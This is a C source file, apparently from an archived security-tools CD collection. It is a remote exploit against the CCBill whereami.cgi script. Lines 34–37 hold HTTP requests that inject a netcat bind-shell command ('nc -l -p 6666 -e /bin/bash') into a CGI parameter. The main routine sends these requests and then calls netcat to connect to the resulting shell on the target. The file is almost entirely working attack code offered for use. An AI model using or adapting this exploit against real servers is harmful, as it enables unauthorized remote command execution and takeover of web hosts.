home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / ccbill / 2003.07.10.ccbillx.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  180 lines

  1. /*
  2. * =====================================
  3. * CCBILL CGI Remote Exploit for /ccbill/whereami.cgi
  4. * By: Knight420
  5. * 7/07/03
  6. *
  7. * spawns a shell with netcat and attempts to connect 
  8. * into the server on port 6666 to gain access of the 
  9. * webserver uid
  10. * (C) COPYRIGHT Blue Ballz , 2003
  11. * all rights reserved
  12. * =====================================
  13. *
  14. */
  15.  
  16. #include <sys/types.h>
  17. #include <sys/time.h>
  18. #include <sys/socket.h>
  19. #include <netinet/in.h>
  20. #include <arpa/inet.h>
  21. #include <unistd.h>
  22. #include <errno.h>
  23. #include <stdlib.h>
  24. #include <stdio.h>
  25. #include <string.h>
  26. #include <fcntl.h>
  27. #include <netdb.h>
  28.  
  29.  
  30. unsigned long int    net_resolve (char *host);
  31. int            net_connect (struct sockaddr_in *cs, char *server,
  32.             unsigned short int port, int sec);
  33.  
  34. unsigned char ccbill[] = 
  35. "GET /ccbill/whereami.cgi?g=nc%20-l%20-p%206666%20-e%20/bin/bash HTTP/1.0\x0d\x0a"
  36. "GET /cgi-bin/ccbill/whereami.cgi?g=nc%20-l%20-p%206666%20-e%20/bin/bash HTTP/1.0\x0d\x0a"
  37. "GET /cgi-bin/whereami.cgi?g=nc%20-l%20-p%206666%20-e%20/bin/bash HTTP/1.0\x0d\x0a";
  38.  
  39. int
  40. main (int argc, char **argv)
  41. {
  42.     int            socket;
  43.     char  *TARGET     =     "TARGET";
  44.     char            *server;
  45.     unsigned short int    port;
  46.     struct sockaddr_in    sa;
  47.  
  48.     if (argc != 3) {
  49.         system("clear");
  50.         printf ("[CCBILL CGI Remote Exploit By:Knight420]\n"
  51.         "usage: %s <host> <port>\n");
  52.         exit (EXIT_FAILURE);
  53.     }
  54.     setenv (TARGET, argv[1], 1);
  55.     server = argv[1];
  56.     port = atoi (argv[2]);
  57.  
  58.     socket = net_connect (&sa, server, port, 35);
  59.     if (socket <= 0) {
  60.         perror ("net_connect");
  61.         exit (EXIT_FAILURE);
  62.     }
  63.  
  64.     write (socket, ccbill, strlen (ccbill));
  65.     sleep (1);
  66.     close (socket);
  67.  
  68.     printf ("[CCBILL CGI Remote Exploit By:Knight420]\n");
  69.     printf ("[1] evil data sent.\n", server);
  70.     printf ("[2] connecting to shell.\n", server);
  71.     system("nc ${TARGET} 6666 || echo '[-]Exploit failed!'");
  72.     exit (EXIT_SUCCESS);
  73. }
  74.  
  75. unsigned long int
  76. net_resolve (char *host)
  77. {
  78.     long        i;
  79.     struct hostent    *he;
  80.  
  81.     i = inet_addr (host);
  82.     if (i == -1) {
  83.         he = gethostbyname (host);
  84.         if (he == NULL) {
  85.             return (0);
  86.         } else {
  87.             return (*(unsigned long *) he->h_addr);
  88.         }
  89.     }
  90.  
  91.     return (i);
  92. }
  93.  
  94.  
  95. int
  96. net_connect (struct sockaddr_in *cs, char *server,
  97.     unsigned short int port, int sec)
  98. {
  99.     int        n, len, error, flags;
  100.     int        fd;
  101.     struct timeval    tv;
  102.     fd_set        rset, wset;
  103.  
  104.     /* first allocate a socket */
  105.     cs->sin_family = AF_INET;
  106.     cs->sin_port = htons (port);
  107.     fd = socket (cs->sin_family, SOCK_STREAM, 0);
  108.     if (fd == -1)
  109.         return (-1);
  110.  
  111.     cs->sin_addr.s_addr = net_resolve (server);
  112.     if (cs->sin_addr.s_addr == 0) {
  113.         close (fd);
  114.         return (-1);
  115.     }
  116.  
  117.     flags = fcntl (fd, F_GETFL, 0);
  118.     if (flags == -1) {
  119.         close (fd);
  120.         return (-1);
  121.     }
  122.     n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
  123.     if (n == -1) {
  124.         close (fd);
  125.         return (-1);
  126.     }
  127.  
  128.     error = 0;
  129.  
  130.     n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
  131.     if (n < 0) {
  132.         if (errno != EINPROGRESS) {
  133.             close (fd);
  134.             return (-1);
  135.         }
  136.     }
  137.     if (n == 0)
  138.         goto done;
  139.  
  140.     FD_ZERO(&rset);
  141.     FD_ZERO(&wset);
  142.     FD_SET(fd, &rset);
  143.     FD_SET(fd, &wset);
  144.     tv.tv_sec = sec;
  145.     tv.tv_usec = 0;
  146.  
  147.     n = select(fd + 1, &rset, &wset, NULL, &tv);
  148.     if (n == 0) {
  149.         close(fd);
  150.         errno = ETIMEDOUT;
  151.         return (-1);
  152.     }
  153.     if (n == -1)
  154.         return (-1);
  155.  
  156.     if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
  157.         if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
  158.             len = sizeof(error);
  159.             if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
  160.                 errno = ETIMEDOUT;
  161.                 return (-1);
  162.             }
  163.             if (error == 0) {
  164.                 goto done;
  165.             } else {
  166.                 errno = error;
  167.                 return (-1);
  168.             }
  169.         }
  170.     } else
  171.         return (-1);
  172. done:
  173.     n = fcntl(fd, F_SETFL, flags);
  174.     if (n == -1)
  175.         return (-1);
  176.  
  177.     return (fd);
  178. }
  179.